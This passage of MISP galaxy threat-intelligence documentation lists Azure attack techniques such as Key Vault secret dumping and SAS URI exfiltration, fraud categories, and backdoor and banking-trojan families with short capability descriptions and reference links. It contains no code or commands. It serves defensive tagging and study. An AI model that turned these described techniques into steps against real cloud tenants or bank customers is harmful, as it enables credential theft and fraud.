The tag is: *misp-galaxy:atrm="AZT604 - Azure KeyVault Dumping"*

Table 546. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604

AZT604.1 - Azure KeyVault Secret Dump

By accessing an Azure Key Vault, an adversary may dump any or all secrets.

The tag is: *misp-galaxy:atrm="AZT604.1 - Azure KeyVault Secret Dump"*

Table 547. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604-1

AZT604.2 - Azure KeyVault Certificate Dump

By accessing an Azure Key Vault, an adversary may dump any or all certificates.

The tag is: *misp-galaxy:atrm="AZT604.2 - Azure KeyVault Certificate Dump"*

Table 548. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604-2

AZT604.3 - Azure KeyVault Key Dump

By accessing an Azure Key Vault, an adversary may dump any or all public keys. Note that Private keys cannot be retrieved.

The tag is: *misp-galaxy:atrm="AZT604.3 - Azure KeyVault Key Dump"*

Table 549. Table References

Links

https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604-3

AZT605 - Resource Secret Reveal

An adverary may access an Azure KeyVault in an attempt to view secrets, certificates, or keys.

The tag is: *misp-galaxy:atrm="AZT605 - Resource Secret Reveal"*

Table 550. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605

AZT605.1 - Storage Account Access Key Dumping

By accessing a Storage Account, an adversary may dump access keys pertaining to the Storage Account, which will give them full access to the Storage Account.

The tag is: *misp-galaxy:atrm="AZT605.1 - Storage Account Access Key Dumping"*

Table 551. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605-1

AZT605.2 - Automation Account Credential Secret Dump

By editing a Runbook, a credential configured in an Automation Account may be revealed

The tag is: *misp-galaxy:atrm="AZT605.2 - Automation Account Credential Secret Dump"*

Table 552. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605-2

AZT605.3 - Resource Group Deployment History Secret Dump

By accessing deployment history of a Resource Group, secrets used in the ARM template may be revealed.

The tag is: *misp-galaxy:atrm="AZT605.3 - Resource Group Deployment History Secret Dump"*

Table 553. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605-3

AZT701 - SAS URI Generation

By generating an SAS URI for a resource, an adversary may extract the contents of that resource without authentication at any time.

The tag is: *misp-galaxy:atrm="AZT701 - SAS URI Generation"*

Table 554. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701

AZT701.1 - VM Disk SAS URI

An adversary may create an SAS URI to download the disk attached to a virtual machine.

The tag is: *misp-galaxy:atrm="AZT701.1 - VM Disk SAS URI"*

Table 555. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701-1

AZT701.2 - Storage Account File Share SAS

By generating a Shared Access Signature (SAS) URI, an adversary can access a container in a Storage Account at any time.

The tag is: *misp-galaxy:atrm="AZT701.2 - Storage Account File Share SAS"*

Table 556. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701-2

AZT702 - File Share Mounting

An adversary can generate a connection string to mount an Azure Storage Account File Share as an NFS or SMB share to their local machine.

The tag is: *misp-galaxy:atrm="AZT702 - File Share Mounting"*

Table 557. Table References

Links

https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT702/AZT702-1

AZT703 - Replication

By setting up cross-tenant replication, an adversary may set up replication from one tenant’s storage account to an extrenal tenant’s storage account.

The tag is: *misp-galaxy:atrm="AZT703 - Replication"*

Table 558. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT703/AZT703-1

AZT704 - Soft-Delete Recovery

An adversary may leverage resources found at a 'soft deletion' state, restore them and advance their attack by retrieving contents meant to be deleted

The tag is: *misp-galaxy:atrm="AZT704 - Soft-Delete Recovery"*

Table 559. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT704/AZT704

AZT704.1 - Key Vault

An adversary may recover a key vault object found in a 'soft deletion' state.

The tag is: *misp-galaxy:atrm="AZT704.1 - Key Vault"*

Table 560. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT704/AZT704-1

AZT704.2 - Storage Account Object

An adversary may recover a storage account object found in a 'soft deletion' state.

The tag is: *misp-galaxy:atrm="AZT704.2 - Storage Account Object"*

Table 561. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT704/AZT704-2

AZT704.3 - Recovery Services Vault

An adversary may recover a virtual machine object found in a 'soft deletion' state.

The tag is: *misp-galaxy:atrm="AZT704.3 - Recovery Services Vault"*

Table 562. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT704/AZT704-3

attck4fraud

attck4fraud - Principles of MITRE ATT&CK in the fraud domain.

> attck4fraud is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Francesco Bigarella

Phishing

In the context of ATT&CK for Fraud, phishing is described as the sending of fraudulent emails to a large audience in order to obtain sensitive information (PII, credentials, payment information). Phishing is never targeted to a specific individual or organisation. Phishing tries to create a sense of urgency or curiosity in order to capture the victim.

The tag is: *misp-galaxy:financial-fraud="Phishing"*

Table 563. Table References

Links
https://blog.malwarebytes.com/cybercrime/2015/02/amazon-notice-ticket-number-phish-seeks-card-details/
https://www.bleepingcomputer.com/news/security/widespread-apple-id-phishing-attack-pretends-to-be-app-store-receipts/

Spear phishing

Spear phishing is the use of targeted emails to gain the trust of the target with the goal of committing fraud. Spear phishing messages are generally specific to the target and show an understanding of the target's organisation structure, supply chain or business.

The tag is: *misp-galaxy:financial-fraud="Spear phishing"*

Table 564. Table References

Links
http://fortune.com/2017/04/27/facebook-google-rimasauskas/
https://www.ibtimes.co.uk/russian-hackers-fancy-bear-likely-breached-olympic-drug-testing-agency-dnc-experts-say-1577508

ATM skimming

ATM Skimming refers to the act of capturing the data stored on a bank cards (tracks) and the Personal Identification Number (PIN) associated to that card. Upon obtaining the data, the criminal proceeds to encode the same information into a new card and use it in combination with the PIN to perform illicit cash withdrawals. ATM Skimming is often achieved with a combination of a skimmer device for the card and a camera to capture the PIN.

The tag is: *misp-galaxy:financial-fraud="ATM skimming"*

Table 565. Table References

Links
https://krebsonsecurity.com/2015/07/spike-in-atm-skimming-in-mexico/
https://krebsonsecurity.com/2011/12/pro-grade-3d-printer-made-atm-skimmer/
https://krebsonsecurity.com/2017/08/dumping-data-from-deep-insert-skimmers/
https://krebsonsecurity.com/2016/06/atm-insert-skimmers-in-action/
https://krebsonsecurity.com/2014/11/skimmer-innovation-wiretapping-atms/
https://krebsonsecurity.com/2016/09/secret-service-warns-of-periscope-skimmers/
https://krebsonsecurity.com/2011/03/green-skimmers-skimming-green
https://blog.dieboldnixdorf.com/have-you-asked-yourself-this-question-about-skimming/

ATM Shimming

ATM Shimming refers to the act of capturing a bank card data accessing the EMV chip installed on the card while presenting the card to a ATM. Due to their low profile, shimmers can be fit inside ATM card readers and are therefore more difficult to detect.

The tag is: *misp-galaxy:financial-fraud="ATM Shimming"*

Table 566. Table References

Links
https://krebsonsecurity.com/2015/08/chip-card-atm-shimmer-found-in-mexico/
https://www.cbc.ca/news/canada/british-columbia/shimmers-criminal-chip-card-reader-fraud-1.3953438
https://krebsonsecurity.com/2017/01/atm-shimmers-target-chip-based-cards/
https://blog.dieboldnixdorf.com/atm-security-skimming-vs-shimming/

Vishing

Vishing

The tag is: *misp-galaxy:financial-fraud="Vishing"*

POS Skimming

POS Skimming

The tag is: *misp-galaxy:financial-fraud="POS Skimming"*

Social Media Scams

Social Media Scams

The tag is: *misp-galaxy:financial-fraud="Social Media Scams"*

Malware

Malware

The tag is: *misp-galaxy:financial-fraud="Malware"*

Account-Checking Services

Account-Checking Services

The tag is: *misp-galaxy:financial-fraud="Account-Checking Services"*

ATM Black Box Attack

ATM Black Box Attack

The tag is: *misp-galaxy:financial-fraud="ATM Black Box Attack"*

Insider Trading

Insider Trading

The tag is: *misp-galaxy:financial-fraud="Insider Trading"*

Investment Fraud

Investment Fraud

The tag is: *misp-galaxy:financial-fraud="Investment Fraud"*

Romance Scam

Romance Scam

The tag is: *misp-galaxy:financial-fraud="Romance Scam"*

Buying/Renting Fraud

Buying/Renting Fraud

The tag is: *misp-galaxy:financial-fraud="Buying/Renting Fraud"*

Cash Recovery Scam

Cash Recovery Scam

The tag is: *misp-galaxy:financial-fraud="Cash Recovery Scam"*

Fake Invoice Fraud

Fake Invoice Fraud

The tag is: *misp-galaxy:financial-fraud="Fake Invoice Fraud"*

Business Email Compromise

Business Email Compromise

The tag is: *misp-galaxy:financial-fraud="Business Email Compromise"*

Scam

Scam

The tag is: *misp-galaxy:financial-fraud="Scam"*

CxO Fraud

CxO Fraud

The tag is: *misp-galaxy:financial-fraud="CxO Fraud"*

Compromised Payment Cards

Compromised Payment Cards

The tag is: *misp-galaxy:financial-fraud="Compromised Payment Cards"*

Compromised Account Credentials

Compromised Account Credentials

The tag is: *misp-galaxy:financial-fraud="Compromised Account Credentials"*

Compromised Personally Identifiable Information (PII)

Compromised Personally Identifiable Information (PII)

The tag is: *misp-galaxy:financial-fraud="Compromised Personally Identifiable Information (PII)"*

Compromised Intellectual Property (IP)

Compromised Intellectual Property (IP)

The tag is: *misp-galaxy:financial-fraud="Compromised Intellectual Property (IP)"*

SWIFT Transaction

SWIFT Transaction

The tag is: *misp-galaxy:financial-fraud="SWIFT Transaction"*

Fund Transfer

Fund Transfer

The tag is: *misp-galaxy:financial-fraud="Fund Transfer"*

Cryptocurrency Exchange

Cryptocurrency Exchange

The tag is: *misp-galaxy:financial-fraud="Cryptocurrency Exchange"*

ATM Jackpotting

ATM Jackpotting

The tag is: *misp-galaxy:financial-fraud="ATM Jackpotting"*

Money Mules

Money Mules

The tag is: *misp-galaxy:financial-fraud="Money Mules"*

Prepaid Cards

Prepaid Cards

The tag is: *misp-galaxy:financial-fraud="Prepaid Cards"*

Resell Stolen Data

Resell Stolen Data

The tag is: *misp-galaxy:financial-fraud="Resell Stolen Data"*

ATM Explosive Attack

ATM Explosive Attack

The tag is: *misp-galaxy:financial-fraud="ATM Explosive Attack"*

Backdoor

A list of backdoor malware..

Backdoor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
: raw-data

WellMess

Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.

The tag is: *misp-galaxy:backdoor="WellMess"*

View relationships graph

WellMess has relationships with:

- similar: misp-galaxy:malpedia="WellMess" with estimative-language:likelihood-

probability="likely"

Table 567. Table References

Links
https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html

Rosenbridge

The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.

While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.

The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU's memory, but its register file and execution pipeline as well.

The tag is: *misp-galaxy:backdoor="Rosenbridge"*

Table 568. Table References

Links
https://www.bleepingcomputer.com/news/security/backdoor-mechanism-discovered-in-via-c3-x86-processors/
https://github.com/xoreaxeaxeax/rosenbridge
https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/Christopher%20Domas/DEFCON-26-Christopher-Domas-GOD-MODE-%20UNLOCKED-hardware-backdoors-in-x86-CPUs.pdf

ServHelper

The purpose of the macro was to download and execute a variant of ServHelper that set up reverse SSH tunnels that enabled access to the infected host through the Remote Desktop Protocol (RDP) port 3389.

"Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to “hijack” legitimate user accounts or their web browser profiles and use them as they see fit," researchers from Proofpoint explain in an analysis released today.

The other ServHelper variant does not include the tunneling and hijacking capabilities and functions only as a downloader for the FlawedGrace RAT.

The tag is: *misp-galaxy:backdoor="ServHelper"*

Table 569. Table References

Links
https://www.bleepingcomputer.com/news/security/new-servhelper-backdoor-and-flawedgrace-rat-pushed-by-necurs-botnet/

Rising Sun

The Rising Sun backdoor uses the RC4 cipher to encrypt its configuration data and communications. As with most backdoors, on initial infection, Rising Sun will send data regarding the infected system to a command and control (C2) site. That information captures computer and user name, IP address, operating system version and network adapter information. Rising Sun contains 14 functions including executing commands, obtaining information on disk drives and running processes, terminating processes, obtaining file creation and last access times, reading and writing files, deleting files, altering file attributes, clearing the memory of processes and connecting to a specified IP address.

The tag is: *misp-galaxy:backdoor="Rising Sun"*

Table 570. Table References

Links
https://www.bluvector.io/threat-report-rising-sun-operation-sharpshooter/

SLUB

A new backdoor was observed using the Github Gist service and the Slack messaging system as communication channels with its masters, as well as targeting a very specific type of victim using a watering hole attack. The backdoor dubbed SLUB by the Trend Micro Cyber Safety Solutions Team who detected it in the wild is part of a multi-stage infection process designed by capable threat actors who programmed it in C++. SLUB uses statically-linked curl, boost, and JsonCpp libraries for performing HTTP request, "extracting commands from gist snippets," and "parsing Slack channel communication." The campaign recently observed by the Trend Micro security researchers abusing the Github and Slack uses a multi-stage infection process.

The tag is: *misp-galaxy:backdoor="SLUB"*

View relationships graph

SLUB has relationships with:

- similar: misp-galaxy:tool="SLUB Backdoor" with estimative-language:likelihood-probability="likely"

Table 571. Table References

Links

https://www.bleepingcomputer.com/news/security/new-slub-backdoor-uses-slack-github-as-communication-channels/

Asruex

Since it first emerged in 2015, Asruex has been known for its backdoor capabilities and connection to the spyware DarkHotel. However, when we encountered Asruex in a PDF file, we found that a variant of the malware can also act as an infector particularly through the use of old vulnerabilities CVE-2012-0158 and CVE-2010-2883, which inject code in Word and PDF files respectively.

The tag is: *misp-galaxy:backdoor="Asruex"*

Table 572. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/

FlowerPippi

The tag is: *misp-galaxy:backdoor="FlowerPippi"*

Table 573. Table References

Links
https://securityintelligence.com/news/ta505-delivers-new-gelup-malware-tool-flowerpippi-backdoor-via-spam-campaign/

Speculoos

FreeBSD-based payload, Speculoos was delivered by exploiting CVE-2019-19781, a vulnerability affecting the Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliances that allowed an adversary to remotely execute arbitrary commands. This vulnerability was first disclosed on December 17, 2019 via security bulletin CTX267679 which contained several mitigation recommendations. By January 24, 2020, permanent patches for the affected appliances were issued. Based on the spread of industries and regions, in addition to the timing of the vulnerability disclosure, we believe this campaign may have been more opportunistic in nature compared to the highly targeted attack campaigns that are often associated with these types of adversaries. However, considering the exploitation of the vulnerability in conjunction with delivery of a backdoor specifically designed to execute on the associated FreeBSD operating system indicates the adversary was absolutely targeting the affected devices.

The tag is: *misp-galaxy:backdoor="Speculoos"*

View relationships graph

Speculoos has relationships with:

- used-by: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-probability="very-likely"

Table 574. Table References

Links
https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/

Mori Backdoor

Mori Backdoor has been used by Seedworm.

The tag is: *misp-galaxy:backdoor="Mori Backdoor"*

Table 575. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east

BazarBackdoor

Something that made the brute-force attacks on RDP connections easier was a new module of the notorious Trojan, TrickBot. It now seems that the TrickBot developers have a new tactic. Cybersecurity researchers have discovered a new phishing campaign that delivers a stealthy backdoor called BazarBackdoor, which can be used to compromise and gain full access to corporate networks. As is the case with 91% of cyberattacks, this one starts with a phishing email. A range of subjects are used to personalize the emails: Customer complaints, coronavirus-themed payroll reports, or employee termination lists. All these emails contain links to documents hosted on Google Docs. To send the malicious emails, the cybercriminals use the marketing platform Sendgrid. This campaign uses spear phishing, which means that the perpetrators have made an effort to ensure that the websites sent in the emails seem legitimate and correspond to the emails subjects.

The tag is: *misp-galaxy:backdoor="BazarBackdoor"*

Table 576. Table References

Links
https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike
https://www.pandasecurity.com/en/mediacenter/business/bazarbackdoor-trickbot-backdoor/

SUNBURST

Backdoor.Sunburst is Malwarebytes' detection name for a trojanized update to SolarWind's Orion IT monitoring and management software.

The tag is: *misp-galaxy:backdoor="SUNBURST"*

SUNBURST is also known as:

- Solarigate

View relationships graph

SUNBURST has relationships with:

- dropped-by: misp-galaxy:tool="SUNSPOT" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Table 577. Table References

Links
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.varonis.com/blog/solarwinds-sunburst-backdoor-inside-the-stealthy-apt-campaign/
https://blog.malwarebytes.com/detections/backdoor-sunburst/
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/

BPFDoor

BPFDoor is a passive backdoor used by a China-based threat actor. This backdoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP allowing the threat actor a variety of mechanisms to interact with the implant

The tag is: *misp-galaxy:backdoor="BPFDoor"*

Table 578. Table References

Links
https://troopers.de/troopers22/talks/7cv8pz/
https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896?gi=1effe9eb6507
https://twitter.com/cyb3rops/status/1523227511551033349
https://twitter.com/CraigHRowland/status/1523266585133457408

Banker

A list of banker malware..

Banker is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown - raw-data

Zeus

Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.

The tag is: *misp-galaxy:banker="Zeus"*

Zeus is also known as:

- Zbot

View relationships graph

Zeus has relationships with:

- similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 579. Table References

Links
https://usa.kaspersky.com/resource-center/threats/zeus-virus

Vawtrak

Delivered primarily by exploit kits as well as malspam campaigns utilizing macro based Microsoft Office documents as attachments. Vawtrak/Neverquest is a modularized banking trojan designed to steal credentials through harvesting, keylogging, Man-In-The-Browser, etc.

The tag is: *misp-galaxy:banker="Vawtrak"*

Vawtrak is also known as:

- Neverquest

View relationships graph

Vawtrak has relationships with:

- similar: misp-galaxy:tool="Vawtrak" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"

Table 580. Table References

Links
https://www.kaspersky.com/blog/neverquest-trojan-built-to-steal-from-hundreds-of-banks/3247/
https://www.fidelissecurity.com/threatgeek/2016/05/vawtrak-trojan-bank-it-evolving
https://www.proofpoint.com/us/threat-insight/post/In-The-Shadows
https://www.botconf.eu/wp-content/uploads/2016/11/2016-Vawtrak-technical-report.pdf

Dridex

```
Dridex leverages redirection attacks designed to send victims to malicious replicas of
the banking sites they think they're visiting.
```

The tag is: *misp-galaxy:banker="Dridex"*

Dridex is also known as:

- Feodo Version D
- Cridex

View relationships graph

Dridex has relationships with:

- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"

Table 581. Table References

Links
https://blog.malwarebytes.com/detections/trojan-dridex/
https://feodotracker.abuse.ch/

Gozi

Banking trojan delivered primarily via email (typically malspam) and exploit kits. Gozi 1.0 source leaked in 2010

The tag is: *misp-galaxy:banker="Gozi"*

Gozi is also known as:

- Ursnif
- CRM
- Snifula
- Papras

View relationships graph

Gozi has relationships with:

- similar: misp-galaxy:tool="Snifula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"

Table 582. Table References

Links
https://www.secureworks.com/research/gozi
https://www.gdatasoftware.com/blog/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007
https://lokalhost.pl/gozi_tree.txt

Goziv2

Banking trojan attributed to Project Blitzkrieg targeting U.S. Financial institutions.

The tag is: *misp-galaxy:banker="Goziv2"*

Goziv2 is also known as:

- Prinimalka

Table 583. Table References

Links
https://krebsonsecurity.com/tag/gozi-prinimalka/
https://securityintelligence.com/project-blitzkrieg-how-to-block-the-planned-prinimalka-gozi-trojan-attack/
https://lokalhost.pl/gozi_tree.txt

Gozi ISFB

Banking trojan based on Gozi source. Features include web injects for the victims' browsers, screenshoting, video recording, transparent redirections, etc. Source leaked ~ end of 2015.

The tag is: *misp-galaxy:banker="Gozi ISFB"*

View relationships graph

Gozi ISFB has relationships with:

- similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"

Table 584. Table References

Links
https://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak
https://lokalhost.pl/gozi_tree.txt

Dreambot

Dreambot is a variant of Gozi ISFB that is spread via numerous exploit kits as well as through malspam email attachments and links.

The tag is: *misp-galaxy:banker="Dreambot"*

Table 585. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality
https://lokalhost.pl/gozi_tree.txt

IAP

Gozi ISFB variant

The tag is: *misp-galaxy:banker="IAP"*

View relationships graph

IAP has relationships with:

- similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"

Table 586. Table References

Links
https://lokalhost.pl/gozi_tree.txt

http://archive.is/I7hi8#selection-217.0-217.6

GozNym

GozNym hybrid takes the best of both the Nymaim and Gozi ISFB. From the Nymaim malware, it leverages the dropper's stealth and persistence; the Gozi ISFB parts add the banking Trojan's capabilities to facilitate fraud via infected Internet browsers.

The tag is: *misp-galaxy:banker="GozNym"*

Table 587. Table References

Links
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://lokalhost.pl/gozi_tree.txt

Zloader Zeus

Zloader is a loader that loads different payloads, one of which is a Zeus module. Delivered via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="Zloader Zeus"*

Zloader Zeus is also known as:

- Zeus Terdot

View relationships graph

Zloader Zeus has relationships with:

- similar: misp-galaxy:malpedia="Zloader" with estimative-language:likelihood-probability="likely"

Table 588. Table References

Links
https://blog.threatstop.com/zloader/terdot-that-man-in-the-middle
https://www.scmagazine.com/terdot-zloaderzbot-combo-abuses-certificate-app-to-pull-off-mitm-browser-attacks/article/634443/

Zeus VM

Zeus variant that utilizes steganography in image files to retrieve configuration file.

The tag is: *misp-galaxy:banker="Zeus VM"*

Zeus VM is also known as:

- VM Zeus

View relationships graph

Zeus VM has relationships with:

- similar: misp-galaxy:malpedia="VM Zeus" with estimative-language:likelihood-probability="likely"

Table 589. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/

Zeus Sphinx

Sphinx is a modular banking trojan that is a commercial offering sold to cybercriminals via underground fraudster boards.

The tag is: *misp-galaxy:banker="Zeus Sphinx"*

View relationships graph

Zeus Sphinx has relationships with:

- similar: misp-galaxy:malpedia="Zeus Sphinx" with estimative-language:likelihood-probability="likely"

Table 590. Table References

Links
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/

Panda Banker

Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Panda Banker"*

Panda Banker is also known as:

- Zeus Panda

Table 591. Table References

Links

https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf
https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers

Zeus KINS

Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it's config in the registry.

The tag is: *misp-galaxy:banker="Zeus KINS"*

Zeus KINS is also known as:

- Kasper Internet Non-Security
- Maple

View relationships graph

Zeus KINS has relationships with:

- similar: misp-galaxy:malpedia="KINS" with estimative-language:likelihood-probability="likely"

Table 592. Table References

Links
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/
https://github.com/nyx0/KINS

Chthonic

Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.

The tag is: *misp-galaxy:banker="Chthonic"*

Chthonic is also known as:

- Chtonic

View relationships graph

Chthonic has relationships with:

- similar: misp-galaxy:malpedia="Chthonic" with estimative-language:likelihood-probability="likely"

Table 593. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/

Trickbot

Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan

The tag is: *misp-galaxy:banker="Trickbot"*

Trickbot is also known as:

- Trickster
- Trickloader

View relationships graph

Trickbot has relationships with:

- similar: misp-galaxy:tool="Trick Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"

Table 594. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/
http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html
https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/
https://www.bleepingcomputer.com/news/security/trickbot-banking-trojan-starts-stealing-windows-problem-history/

Dyre

Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architectur and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim’s computer.

The tag is: *misp-galaxy:banker="Dyre"*

Dyre is also known as:

- Dyreza

View relationships graph

Dyre has relationships with:

- similar: misp-galaxy:mitre-malware="Dyre - S0024" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"

Table 595. Table References

Links
https://www.secureworks.com/research/dyre-banking-trojan
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/

Tinba

Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.

The tag is: *misp-galaxy:banker="Tinba"*

Tinba is also known as:

- Zusy
- TinyBanker
- illi

View relationships graph

Tinba has relationships with:

- similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"

Table 596. Table References

Links
https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/
http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/
https://blog.avast.com/2014/09/15/tiny-banker-trojan-targets-customers-of-major-banks-worldwide/
http://my.infotex.com/tiny-banker-trojan/

Geodo

Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.

The tag is: *misp-galaxy:banker="Geodo"*

Geodo is also known as:

- Feodo Version C
- Emotet

View relationships graph

Geodo has relationships with:

- similar: misp-galaxy:tool="Emotet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Emotet" with estimative-language:likelihood-probability="likely"

Table 597. Table References

Links
https://feodotracker.abuse.ch/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/
https://www.bleepingcomputer.com/news/security/emotet-banking-trojan-loves-usa-internet-providers/
https://www.bleepingcomputer.com/news/security/emotet-returns-with-thanksgiving-theme-and-better-phishing-tricks/
https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet
